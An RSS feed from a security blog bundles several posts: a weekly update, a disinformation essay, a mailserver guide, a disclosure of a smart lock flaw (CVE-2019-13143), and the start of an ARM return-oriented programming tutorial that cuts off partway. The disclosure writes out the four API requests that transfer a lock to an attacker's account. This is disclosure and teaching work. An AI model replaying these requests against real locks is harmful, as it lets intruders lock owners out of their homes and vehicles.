<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>icyphox's blog</title>
	<link>https://icyphox.sh/blog/</link>
    <description>Security, forensics and privacy.</description>
	<atom:link href="https://icyphox.sh/blog/feed.xml" rel="self" type="application/xml"/>
    <image>
		<title>icyphox logo</title>
      <url>https://icyphox.sh/icyphox.png</url>
	  <link>https://icyphox.sh/blog/</link>
    </image>
    <language>en-us</language>
	<copyright>Creative Commons BY-NC-SA 4.0</copyright>
    <item><title>Weekly status update, 09/08 - 09/17</title><description><![CDATA[<p>This is something new I&#8217;m trying out, in an effort to write more frequently
and to serve as a log of how I&#8217;m using my time. In theory, I will write this post
every week. I&#8217;ll need someone to hold me accountable if I don&#8217;t. I have yet to decide on
a format for this, but it will probably include a quick summary of the work I did,
things I read, IRL stuff, etc.</p>

<p>With the meta stuff out of the way, here&#8217;s what went down last week!</p>

<h3 id="my-discovery-of-the-xxiivv-webring">My discovery of the XXIIVV webring</h3>

<p>Did you notice the new fidget-spinner-like logo at the bottom? Click it! It&#8217;s a link to
the <a href="https://webring.xxiivv.com">XXIIVV webring</a>. I really like the idea of webrings.
It creates a small community of sites and enables sharing traffic among each other.
The XXIIVV webring consists mostly of artists, designers and developers and gosh, some
of those sites are beautiful. Mine pales in comparison.</p>

<p>The webring also has a <a href="https://github.com/buckket/twtxt">twtxt</a> echo chamber aptly
called <a href="https://webring.xxiivv.com/hallway.html">The Hallway</a>. twtxt is a fantastic project
and its complexity-to-usefulness ratio greatly impresses me. You can find my personal
twtxt feed at <code>/twtxt.txt</code> (root of this site).</p>

<p>Which brings me to the next thing I did this/last week.</p>

<h3 id="twsh-a-twtxt-client-written-in-bash"><code>twsh</code>: a twtxt client written in Bash</h3>

<p>I&#8217;m not a fan of the official Python client, because you know, Python is bloat.
As an advocate of <em>mnmlsm</em>, I can&#8217;t use it in good conscience. Thus, began my
authorship of a truly mnml client in pure Bash. You can find it <a href="https://github.com/icyphox/twsh">here</a>.
It&#8217;s not entirely useable as of yet, but it&#8217;s definitely getting there, with the help
of <a href="https://nerdypepper.me">@nerdypepper</a>.</p>

<h3 id="other">Other</h3>

<p>I have been listening to my usual podcasts: Crime Junkie, True Crime Garage,
Darknet Diaries &amp; Off the Pill. To add to this list, I&#8217;ve begun binging Vice&#8217;s CYBER.
It&#8217;s pretty good &#8211; each episode is only about 30 mins and it hits the sweet spot,
delvering both interesting security content and news.</p>

<p>My reading needs a ton of catching up. Hopefully I&#8217;ll get around to finishing up
&#8220;The Unending Game&#8221; this week. And then go back to &#8220;Terrorism and Counterintelligence&#8221;.</p>

<p>I&#8217;ve begun my dive into Russian! I&#8217;m really liking it so far, and it&#8217;s been surprisingly
easy to pick up. Learning the Cyrillic script will require some relearning, especially
with letters like в, н, р, с, etc. that look like English but sound entirely different.
I think I&#8217;m pretty serious about learning this language &#8211; I&#8217;ve added the Russian keyboard
to my Google Keyboard to aid in my familiarization of the alphabet. I&#8217;ve added the <code>RU</code>
layout to my keyboard map too:</p>

<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
</code></pre>

<p>With that ends my weekly update, and I&#8217;ll see you next week!</p>
]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let&#8217;s start with its etymology and definiton.
According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
<em>disinformation</em> has been borrowed from the Russian word &#8212; <em>dezinformatisya</em> (дезинформа́ция),
derived from the title of a KGB black propaganda department.</p>

<blockquote>
  <p>Disinformation is false information spread deliberately to deceive.</p>
</blockquote>

<p>To fully understand disinformation, especially in the modern age, we need to understand the
key factors of any successful disinformation operation:</p>

<ul>
<li>creating disinformation (what)</li>
<li>the motivation behind the op, or its end goal (why)</li>
<li>the medium used to disperse the falsified information (how)</li>
<li>the actor (who)</li>
</ul>

<p>At the end, we&#8217;ll also look at how you can use disinformation techniques to maintain OPSEC.</p>

<p>In order to break monotony, I will also be using the terms &#8220;information operation&#8221;, or the shortened
forms &#8211; &#8220;info op&#8221; &amp; &#8220;disinfo&#8221;.</p>

<h3 id="creating-disinformation">Creating disinformation</h3>

<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
of any disinformation sample is a huge indicator of the level of sophistication of the
actor involved, i.e. is it a 12 year old troll or a nation state?</p>

<p>Well crafted disinformation always has one primary characteristic &#8212; &#8220;plausibility&#8221;.
The disinfo must sound reasonable. It must induce the notion it&#8217;s <em>likely</em> true. 
To achieve this, the target &#8212; be it an individual, a specific demographic or an entire
nation &#8212; must be well researched. A deep understanding of the target&#8217;s culture, history,
geography and psychology is required. It also needs circumstantial and situational awareness,
of the target.</p>

<p>There are many forms of disinformation. A few common ones are staged videos / photographs, 
recontextualized videos / photographs, blog posts, news articles &amp; most recently &#8212; deepfakes.</p>

<p>Here&#8217;s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
imagery:</p>

<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
<p lang="en" dir="ltr">Disinformation.
<br><br>
The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
<br><br>Recontextualisation as threat vector. 
<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
</p>&mdash; thaddeus e. grugq (@thegrugq) 
<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
</blockquote>

<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> 

<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>

<p>I like to broadly categorize any info op as either proactive or reactive. 
Proactively, disinformation is spread with the desire to influence the target
either before or during the occurence of an event. This is especially observed
during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
In offensive information operations, the target&#8217;s psychological state can be affected by
spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p>

<p>Reactive disinformation is when the actor, usually a nation state in this case,
screws up and wants to cover their tracks. A fitting example of this is the case
of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over 
eastern Ukraine. This tragic incident has been attributed to Russian-backed 
separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> 
Russian media is known to have desseminated a number of alternative &amp; some even
conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT&#8217;s (Dutch-lead Joint
Investigation Team) investigations pointed towards the separatists. 
The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
potentially correct information takes a credibility hit.</p>

<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
in totalitarian regimes; when the government decides what the media portrays to the
masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>

<blockquote>
  <p>Official state media pin the blame for protests on the &#8220;black hand&#8221; of foreign interference, 
  namely from the United States, and what they have called criminal Hong Kong thugs.
  A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, 
  who are demanding an end to an extradition bill with China and the ability to elect their own leader.
  Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, 
  this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
  &#8230;</p>
</blockquote>

<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>

<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&#8217;s
popularity.</p>

<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
generate activity programmatically via the API, Twitter bots are the go-to choice today for 
info ops. Essentially, an actor attempts to create &#8220;discussions&#8221; amongst &#8220;users&#8221; (read: bots),
to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
get realtime insights into what sticks and what doesn&#8217;t.
The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
factory &#8212; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
to create discussions about alternative theories.</p>

<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
actively invest in creating group chats to spread political messages and memes. These parties
have volunteers whose sole job is to sit and forward messages.
Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
this is disinformation without a motive, or the motive is hard to determine simply because
the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
This is a difficult problem to combat, especially given the nature of the target audience.</p>

<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>

<p>I doubt this requires further elaboration, but in short:</p>

<ul>
<li>nation states and their intelligence agencies</li>
<li>governments, political parties</li>
<li>other non/quasi-governmental groups</li>
<li>trolls</li>
</ul>

<p>This essentially sums up the what, why, how and who of disinformation. </p>

<h3 id="personal-opsec">Personal OPSEC</h3>

<p>This is a fun one. Now, it&#8217;s common knowledge that
<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
lead to your OPSEC being compromised.
So if you really have to, you can feign activity using disinformation. For example,
pick a place, and throw in subtle details pertaining to the weather, local events
or regional politics of that place into your disinfo. Assuming this is Twitter, you can
tweet stuff like:</p>

<ul>
<li>&#8220;Ugh, when will this hot streak end?!&#8221;</li>
<li>&#8220;Traffic wonky because of the Mardi Gras parade.&#8221;</li>
<li>&#8220;Woah, XYZ place is nice! Especially the fountains by ABC street.&#8221;</li>
</ul>

<p>Of course, if you&#8217;re a nobody on Twitter (like me), this is a non-issue for you.</p>

<p>And please, don&#8217;t do this:</p>

<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>

<h3 id="conclusion">Conclusion</h3>

<p>The ability to influence someone&#8217;s decisions/thought process in just one tweet is 
scary. There is no simple way to combat disinformation. Social media is hard to control.
Just like anything else in cyber, this too is an endless battle between social media corps
and motivated actors.</p>

<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
folks see the truth in a post-truth world.</p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-1">
<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!).&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-2">
<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>&#8217;s season one covers the MH17 investigation in detail.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>

<li id="fn-3">
<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
</li>

<li id="fn-4">
<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a>&#160;<a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">&#8617;</a></p>
</li>

<li id="fn-5">
<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>.&#160;<a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I&#8217;d made an attempt at setting one up
around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>

<p>For this attempt, I wanted a simpler approach. I recall how terribly
confusing Dovecot &amp; Postfix were to configure and hence I decided to look
for a containerized solution, that most importantly, runs on my cheap $5 
Digital Ocean VPS &#8212; 1 vCPU and 1 GB memory. Of which only around 500 MB
is actually available. So yeah, <em>pretty</em> tight.</p>

<h3 id="whats-available">What&#8217;s available</h3>

<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
These are the ones I came across:</p>

<ul>
<li><p><a href="https://poste.io">poste.io</a>: Based on an &#8220;open core&#8221; model. The base install is open source 
and free (as in beer), but you&#8217;ll have to pay for the extra stuff.</p></li>
<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io, 
but ships with a web UI that I didn&#8217;t need. </p></li>
<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
a mention. It however, needs a fresh box to work with. A box with absolutely 
nothing else on it. I can&#8217;t afford to do that.</p></li>
<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
</ul>

<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>

<p>The first thing that caught my eye in the README:</p>

<blockquote>
  <p>Recommended:</p>
  
  <ul>
  <li>1 CPU</li>
  <li>1GB RAM</li>
  </ul>
  
  <p>Minimum:</p>
  
  <ul>
  <li>1 CPU</li>
  <li>512MB RAM</li>
  </ul>
</blockquote>

<p>Fantastic, I can somehow squeeze this into my existing VPS.
Setup was fairly simple &amp; the docs are pretty good. It employs a single
<code>.env</code> file for configuration, which is great.
However, I did run into a couple of hiccups here and there.</p>

<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
of memory.</p>

<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
</code></pre>

<p>But it eventually worked after a couple of attempts.</p>

<p>The next thing I struggled with &#8212; DNS. Specifically, the with the step where
the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
isn&#8217;t exactly CloudFlare friendly; they can&#8217;t be directly copy-pasted into
a <code>TXT</code> record. </p>

<p>This is what it looks like.</p>

<pre><code>mail._domainkey IN  TXT ( "v=DKIM1; h=sha256; k=rsa; "
      "p=&lt;key&gt;"
      "&lt;more key&gt;" )  ; ----- DKIM key mail for icyphox.sh
</code></pre>

<p>But while configuring the record, you set &#8220;Type&#8221; to <code>TXT</code>, &#8220;Name&#8221; to <code>mail._domainkey</code>,
and the &#8220;Value&#8221; to what&#8217;s inside the parenthesis <code>(  )</code>, <em>removing</em> the quotes <code>""</code>. 
Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>

<p>To simplify debugging DNS issues later, it&#8217;s probably a good idea to
point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an 
<code>A</code> record.
You&#8217;ll then have to set an <code>MX</code> record with the &#8220;Name&#8221; as <code>@</code> (or whatever your DNS provider
uses to denote the root domain) and the &#8220;Value&#8221; to <code>mail.domain.tld</code>.
And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of 
your <code>A</code> record &#8212; &#8220;Name&#8221; as the server IP and &#8220;Value&#8221; as <code>mail.domain.tld</code>.
I learnt this part the hard way, when my outgoing email kept getting
rejected by Tutanota&#8217;s servers.</p>

<p>Yet another hurdle &#8212; SSL/TLS certificates. This isn&#8217;t very properly
documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
and look at an example. In short, install <code>certbot</code>, have port 80 free,
and run </p>

<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
</code></pre></div>

<p>Once that&#8217;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in 
the container, something like so:</p>

<div class="codehilite"><pre><span></span><code><span class="nn">...</span>

<span class="nt">volumes</span><span class="p">:</span>
    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>

<span class="nn">...</span>
</code></pre></div>

<p>With this done, you shouldn&#8217;t have mail clients complaining about 
wonky certs for which you&#8217;ll have to add an exception manually.</p>

<h3 id="why-would-you">Why would you…?</h3>

<p>There are a few good reasons for this:</p>

<h4 id="privacy">Privacy</h4>

<p>No really, this is <em>the</em> best choice for truly private
email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&#8217;t 
dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>

<blockquote>
  <p>Truly secure systems do not require you to trust the service provider.</p>
</blockquote>

<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
how can you really be sure that it isn&#8217;t a backdoored version of it?</p>

<p>When you host your own mailserver, you truly own your email without having to rely on any
third-party.
This isn&#8217;t an attempt to spread FUD. In the end, it all depends on your
threat model™.</p>

<h4 id="decentralization">Decentralization</h4>

<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
active users. That&#8217;s obscene.
Email was designed to be decentralized but big corps swooped in and
made it a product. They now control your data, and it isn&#8217;t unknown that
Google reads your mail. This again loops back to my previous point, privacy.
Decentralization guarantees privacy. When you control your mail, you subsequently
control who reads it.</p>

<h4 id="personalization">Personalization</h4>

<p>Can&#8217;t ignore this one. It&#8217;s cool to have a custom email address to flex.</p>

<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>

<p>Pfft, this is no competition.</p>

<div class="footnotes">
<hr />
<ol>
<li id="fn-1">
<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-2">
<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>

<li id="fn-3">
<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn&#8217;t trust Signal.&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>

<h3 id="the-lock">The lock</h3>

<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
across many ecommerce sites, and has over, an estimated, 15k+ users.</p>

<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
the Play/App Store to function. The app requires the user to create an
account before further functionality is available. 
It also facilitates configuring the fingerprint,
and unlocking from a range via Bluetooth.</p>

<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
and the Android app.</p>

<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>

<p>Android phones have the ability to capture Bluetooth (HCI) traffic
which can be enabled under Developer Options under Settings. We made 
around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>

<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>

<p>This is the value sent in the <code>Write</code> request:</p>

<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>

<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>

<h3 id="via-the-android-app">Via the Android app</h3>

<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
far since most of it was obfuscated. Why bother when there exists an 
easier approach &#8211; BurpSuite.</p>

<p>We captured and played around with a bunch of requests and responses,
and finally arrived at a working exploit chain.</p>

<h3 id="the-exploit">The exploit</h3>

<p>The entire exploit is a 4 step process consisting of authenticated 
HTTP requests:</p>

<ol>
<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
vicinity), get the barcode and lock ID</li>
<li>Using the barcode, fetch the user ID</li>
<li>Using the lock ID and user ID, unbind the user from the lock</li>
<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
to the lock</li>
</ol>

<p>This is what it looks like, in essence (personal info redacted).</p>

<h4 id="request-1">Request 1</h4>

<pre><code>POST /oklock/lock/queryDevice
{"mac":"XX:XX:XX:XX:XX:XX"}
</code></pre>

<p>Response:</p>

<pre><code>{
   "result":{
      "alarm":0,
      "barcode":"&lt;BARCODE&gt;",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":&lt;LOCK ID&gt;,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0
   },
   "status":"2000"
}
</code></pre>

<h4 id="request-2">Request 2</h4>

<pre><code>POST /oklock/lock/getDeviceInfo

{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
</code></pre>

<p>Response:</p>

<pre><code>   "result":{
      "account":"email@some.website",
      "alarm":0,
      "barcode":"&lt;BARCODE&gt;",
      "chipType":"1",
      "createAt":"2019-05-14 09:32:23.0",
      "deviceId":"",
      "electricity":"95",
      "firmwareVersion":"2.3",
      "gsmVersion":"",
      "id":&lt;LOCK ID&gt;,
      "isLock":0,
      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
      "lockPwd":"000000",
      "mac":"XX:XX:XX:XX:XX:XX",
      "name":"lock",
      "radioName":"BlueFPL",
      "type":0,
      "userId":&lt;USER ID&gt;
   }
</code></pre>

<h4 id="request-3">Request 3</h4>

<pre><code>POST /oklock/lock/unbind

{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
</code></pre>

<h4 id="request-4">Request 4</h4>

<pre><code>POST /oklock/lock/bind

{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
</code></pre>

<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>

<p>You should have the lock transferred to your account. The severity of this
issue lies in the fact that the original owner completely loses access to
their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
(the attacker) needs to authorize that. </p>

<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>

<p><em>shudders</em></p>

<h3 id="proof-of-concept">Proof of Concept</h3>

<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>

<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>

<h3 id="disclosure-timeline">Disclosure timeline</h3>

<ul>
<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
<li>No response from vendor</li>
<li><strong>2nd August 2019</strong>: Public disclosure</li>
</ul>

<h3 id="lessons-learnt">Lessons learnt</h3>

<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
with keys. With the IoT plague spreading, it brings in a large attack surface
to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>

<p>The IoT security scene is rife with bugs from over 10 years ago, like
executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
practices in general.</p>

<p>Our existing threat models and scenarios have to be updated to factor 
in these new exploitation possibilities. This also broadens the playing 
field for cyber warfare and mass surveillance campaigns. </p>

<h3 id="researcher-info">Researcher info</h3>

<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>

<ul>
<li>Anirudh Oppiliappan (me)</li>
<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
</ul>

<div class="footnotes">
<hr />
<ol>
<li id="fn-1">
<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
</li>

<li id="fn-2">
<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
</li>

<li id="fn-3">
<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
</li>
</ol>
</div>
]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
assembly to follow along. I highly recommend
<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
Basics</a>. Once you’re
comfortable with it, proceed with the next bit — environment setup.</p>

<h3 id="setup">Setup</h3>

<p>Since we’re working with the ARM architecture, there are two options to go
forth with: </p>

<ol>
<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
The scripts found inside should be self-explanatory.</li>
<li>Use actual ARM hardware, like an RPi.</li>
</ol>

<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
may use <code>radare2</code>, IDA or anything else, really. All of which can be
trivially installed.</p>

<p>And for the sake of simplicity, disable ASLR:</p>

<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
</code></pre></div>

<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
<a href="/static/files/roplevel2.c">roplevel2</a>. </p>

<p>Compile it:</p>

<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
</code></pre></div>

<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>

<h3 id="a-primer-on-rop">A primer on ROP</h3>

<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
In essence, no code in the binary is actually modified and the entire exploit
is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>

<p>A gadget is essentially a small sequence of code (instructions), ending with
a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
there’s generally a call to <code>system()</code>, to acheive code execution.</p>

<p>In practice, the process of executing a ropchain is something like this:</p>

<ul>
<li>confirm the existence of a stack-based buffer overflow</li>
<li>identify the offset at which the instruction pointer gets overwritten</li>
<li>locate the addresses of the gadgets you wish to use</li>
<li>craft your input keeping in mind the stack’s layout, and chain the addresses
of your gadgets</li>
</ul>

<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
Check it out, it might be just what you needed for that “aha!” moment :)</p>

<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
that should put things into perspective.</p>

<h3 id="exploring-our-binary">Exploring our binary</h3>

<p>Start by running it, and entering any arbitrary string. On entering a fairly
